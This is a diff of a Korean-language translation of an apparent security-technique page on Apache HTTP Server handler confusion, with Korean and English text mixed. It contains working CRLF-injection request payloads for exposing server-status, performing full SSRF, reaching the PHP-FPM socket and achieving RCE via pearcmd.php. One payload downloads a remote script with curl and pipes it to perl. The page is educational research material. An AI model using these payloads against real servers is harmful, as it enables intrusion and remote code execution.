처리하며, `r->content_type`가 설정되고 `r->handler`가 설정되지 않은 경우 `r->content_type`를 `r->handler`로 변환합니다. -또한, Apache HTTP Server(`server/config.c#L420`)에서 `ap_run_handler()`를 실행하기 전에 `r->handler`가 비어 있으면 서버는 **`r->content_type`을 핸들러로 사용**하여 `AddType`과 `AddHandler`의 효과를 동일하게 만듭니다. +또한 Apache HTTP Server(`server/config.c#L420`)에서는 `ap_run_handler()`를 실행하기 전에 `r->handler`가 비어 있으면 서버가 **r->content_type을 handler로 사용**하므로 `AddType`와 `AddHandler`가 사실상 동일한 효과를 갖게 됩니다. -#### **PHP 소스 코드 유출을 위한 핸들러 덮어쓰기** +#### **Overwrite Handler to Disclose PHP Source Code** -[**이 발표**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf)에서는 클라이언트가 보낸 잘못된 `Content-Length`가 Apache가 실수로 **PHP 소스 코드를 반환**하게 만드는 취약점이 제시되었습니다. 이는 ModSecurity와 Apache Portable Runtime (APR)에서의 오류 처리 문제로 인해 발생했으며, 이중 응답이 `r->content_type`을 `text/html`로 덮어쓰게 됩니다.\ -ModSecurity가 반환 값을 제대로 처리하지 않기 때문에 PHP 코드를 반환하고 해석하지 않습니다. +[**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf)에서는 클라이언트가 잘못된 **Content-Length**를 전송할 경우 Apache가 실수로 **PHP 소스 코드를 반환**할 수 있는 취약점이 발표되었습니다. 이는 ModSecurity와 Apache Portable Runtime(APR)의 오류 처리 문제로 인해 이중 응답이 발생하면서 `r->content_type`이 `text/html`로 덮어써졌기 때문입니다.\ +ModSecurity가 리턴 값을 제대로 처리하지 않기 때문에 PHP 코드를 반환하고 이를 해석하지 않습니다. -#### **XXXX를 위한 핸들러 덮어쓰기** +#### **Overwrite Handler to XXXX** -TODO: Orange는 아직 이 취약점을 공개하지 않았습니다. +TODO: Orange hasn't disclose this vulnerability yet -### **임의 핸들러 호출** +### **Invoke Arbitrary Handlers** -공격자가 서버 응답에서 **`Content-Type`** 헤더를 제어할 수 있다면 **임의 모듈 핸들러를 호출**할 수 있습니다. 그러나 공격자가 이를 제어하는 시점에서 요청의 대부분의 과정은 완료됩니다. 그러나 **`Location` 헤더를 악용하여 요청 프로세스를 재시작하는 것이 가능합니다**. 왜냐하면 **r** 반환된 `Status`가 200이고 `Location` 헤더가 `/`로 시작하면 응답이 서버 측 리디렉션으로 처리되어야 하기 때문입니다. +공격자가 서버 응답의 **Content-Type** 헤더를 제어할 수 있다면 임의의 모듈 핸들러를 **invoke**할 수 있습니다. 다만 공격자가 이를 제어할 시점에는 요청의 대부분 처리가 이미 수행된 상태일 것입니다. 그러나 **Location** 헤더를 악용해 요청 처리를 재시작하는 것이 가능한데, 반환된 `Status`가 200이고 `Location` 헤더가 `/`로 시작하면 응답은 서버 측 리다이렉션으로 처리되어 재처리됩니다. -[RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (CGI에 대한 명세)에서 [섹션 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2)는 로컬 리디렉션 응답 동작을 정의합니다: +RFC 3875(CGI에 대한 명세)에 따르면 [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2)는 Local Redirect Response 동작을 정의합니다: -> CGI 스크립트는 로컬 리소스에 대한 URI 경로와 쿼리 문자열(‘local-pathquery’)을 Location 헤더 필드에 반환할 수 있습니다. 이는 서버에 지정된 경로를 사용하여 요청을 재처리해야 함을 나타냅니다. +> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. -따라서 이 공격을 수행하기 위해서는 다음 중 하나의 취약점이 필요합니다: +따라서 이 공격을 수행하려면 다음 중 하나의 취약점이 필요합니다: -- CGI 응답 헤더에서 CRLF 주입 -- 응답 헤더에 대한 완전한 제어가 있는 SSRF +- CRLF Injection in the CGI response headers +- SSRF with complete control of the response headers -#### **정보 유출을 위한 임의 핸들러** +#### **Arbitrary Handler to Information Disclosure** 예를 들어 `/server-status`는 로컬에서만 접근 가능해야 합니다: ```xml @@ -197,16 +225,16 @@ SetHandler server-status Require local ``` -`Content-Type`를 `server-status`로 설정하고 Location 헤더를 `/`로 시작하도록 설정하면 접근할 수 있습니다. +`Content-Type`을 `server-status`로 설정하고 Location 헤더를 `/`로 시작하게 하면 접근할 수 있습니다. ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **임의 핸들러를 통한 전체 SSRF** +#### **임의 핸들러에서 Full SSRF로** -`mod_proxy`로 리디렉션하여 모든 URL의 모든 프로토콜에 접근: +`mod_proxy`를 사용해 어떤 URL의 어떤 프로토콜에도 접근하도록 리다이렉트: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -215,20 +243,20 @@ http://example.com/%3F %0d%0a %0d%0a ``` -그러나 `X-Forwarded-For` 헤더가 추가되어 클라우드 메타데이터 엔드포인트에 대한 접근을 방지합니다. +하지만, `X-Forwarded-For` 헤더가 추가되어 클라우드 메타데이터 엔드포인트에 접근하는 것이 방해됩니다. -#### **로컬 유닉스 도메인 소켓에 접근하기 위한 임의 핸들러** +#### **Arbitrary Handler to Access Local Unix Domain Socket** -PHP-FPM의 로컬 유닉스 도메인 소켓에 접근하여 `/tmp/`에 위치한 PHP 백도어를 실행합니다: +PHP-FPM의 local Unix Domain Socket에 접근하여 `/tmp/`에 있는 PHP backdoor를 실행합니다: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a %0d%0a ``` -#### **임의 핸들러를 통한 RCE** +#### **Arbitrary Handler to RCE** -공식 [PHP Docker](https://hub.docker.com/_/php) 이미지에는 PEAR(`Pearcmd.php`)가 포함되어 있으며, 이는 RCE를 얻기 위해 악용될 수 있는 명령줄 PHP 패키지 관리 도구입니다: +공식 [PHP Docker](https://hub.docker.com/_/php) 이미지에는 PEAR (`Pearcmd.php`)가 포함되어 있으며, 이는 명령줄 PHP 패키지 관리 도구로서 RCE를 얻기 위해 악용될 수 있습니다: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} @@ -237,10 +265,13 @@ orange.tw/x|perl Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -[**Docker PHP LFI 요약**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)를 작성한 [Phith0n](https://x.com/phithon_xg)에서 이 기술에 대한 자세한 내용을 확인하세요. +이 기법의 세부 내용은 작성자 [Phith0n](https://x.com/phithon_xg)이 쓴 [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)를 확인하세요. -## 참고문헌 +## 참고자료 - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) +- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html) +- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html) +- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html) {{#include ../../banners/hacktricks-training.md}}